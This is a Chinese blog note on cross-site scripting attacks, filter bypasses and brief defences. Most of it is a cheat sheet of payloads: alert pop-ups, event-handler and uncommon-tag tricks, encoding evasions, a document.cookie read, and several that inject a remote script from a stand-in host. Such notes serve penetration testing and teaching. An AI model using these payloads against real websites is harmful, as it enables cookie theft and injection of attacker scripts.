XSS攻击、BYPASS及防御

最新推荐文章于 2024-06-20 02:49:18 发布

戒罔

最新推荐文章于 2024-06-20 02:49:18 发布

阅读量807

点赞数

分类专栏：笔记文章标签： xss 安全漏洞 web

原文链接：https://www.freebuf.com/articles/web/246205.html

版权

笔记专栏收录该内容

9 篇文章 0 订阅

订阅专栏

XSS攻击、BYPASS及防御

攻击
bypass
漏洞修复

攻击

一、反射型XSS

前端 -> 后端 -> 前端
在URL中+

一般存在在id=xxx
将xxx替换为，观察页面是否弹出”1”
若成功弹出，则存在反射型xss注入漏洞

二、存储型XSS

前端 -> 后端 -> 数据库 -> 前端
输入框中的内容会存储在数据库中，然后回显在网页上

一般存在在留言框和页面搜索框中

2.	<script>alert(1)</script>

若成功弹出“1”，且在页面上有回显，则存在存储型XSS漏洞

三、 DOM型XSS

前端 HTML
输入框中的内容会出现在HTML标签中，通过构造payload，实现弹窗
例：<a href=’1’> Please check here!</a>
payload: #’oneclick=”alert(111)”>

一般存在搜索框中
查看网页源代码构造payload
若成功弹出“1”，且在页面上有回显，则存在DOM型XSS漏洞

bypass

<script>alert(1)</script>

大小写绕过

 <SCRIpt>AlerT(1)</SCRipt>

HTML标签绕过

<img scr=javascript:alter(1)></img>
<img src=# onerror=alert(1)></img>
<img src=# onmoseover=alert(1)></img>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>

使用TAB绕过：

<IMG SRC="jav ascript:alert('XSS');">
<a href=# onmouseover=alert(1)>text xss</a>
<a href="javascript:alert(/test/)">link</a>
<a onmouseover="alert(document.cookie)">xss link</a>
<iframe/οnlοad=alert(/1/);></iframe>
<svg/οnlοad=alert(/1/);>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<BODY BACKGROUND="javascript:alert('XSS')"> 
<IMG LOWSRC="javascript:alert('XSS')">
<svg/οnlοad=alert('XSS')>

特殊函数绕过

	<keygen autofocus οnfοcus=s=createElement(“scriPt”);body.appendChild(s);s.src=”//XSS.xx/1ts”>
<textarea autofocus οnfοcus=s=createElement(“scriPt”);body.appendChild(s);s.src=”//XSS.xx/1ts”>

关键字替换

" οnerrοr=alert(1) "
<BODY onload="alert('XSS')">
<IMG SRC="" onerror="alert('XSS')">

不常见标签绕过

<details open ontoggle=prompt(1)>
<button onfocus=prompt(1) autofocus>
<select autofocus οnfοcus=s=createElement(“scriPt”);body.appendChild(s);s.src=”//XSS.xx/1ts”>

双写绕过

" οnerrοr=alert(1) "

‐prompt(1)‐
编码转换
十六进制
HTML实体字符
引号被过滤

使用“/”替换单引号
String.fromCharCode
fromCharCode() 可接受一个指定的 Unicode 值，然后返回一个字符串
括号中添加一个或多个unicode值

<script>alert(‘insight-labs’)</script>  —–>   <script>eval(String.fromCharCode(97,108,101,114,116,40,39,105,110,115,105,103,104,116,45,108,97,98,115,39,41))</script>

location.hash

<script>eval(location.hash.slice(1))</script>#alert(‘a’)

重音符混淆绕过

<IMG SRC=javascript:alert("RSnake says, 'XSS'")>

空格被过滤
%0a、%0b、&NewLine:含义是回车(Enter)
冒号被过滤
&colon

漏洞修复

过滤输入的非法字符
对输出到页面的内容进行编码的转换，HTML、JavaScript等

戒罔

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
XSS攻击、BYPASS及防御

XSS攻击、BYPASS及防御攻击一、反射型XSS二、存储型XSS三、 DOM型XSSbypass漏洞修复攻击一、反射型XSS前端 -> 后端 -> 前端在URL中+一般存在在id=xxx将xxx替换为，观察页面是否弹出”1”若成功弹出，则存在反射型xss注入漏洞二、存储型XSS前端 -> 后端 -> 数据库 -> 前端输入框中的内容会存储在数据库中，然后回显在网页上一般存在在留言框和页面搜索框中2. <script>aler
复制链接

扫一扫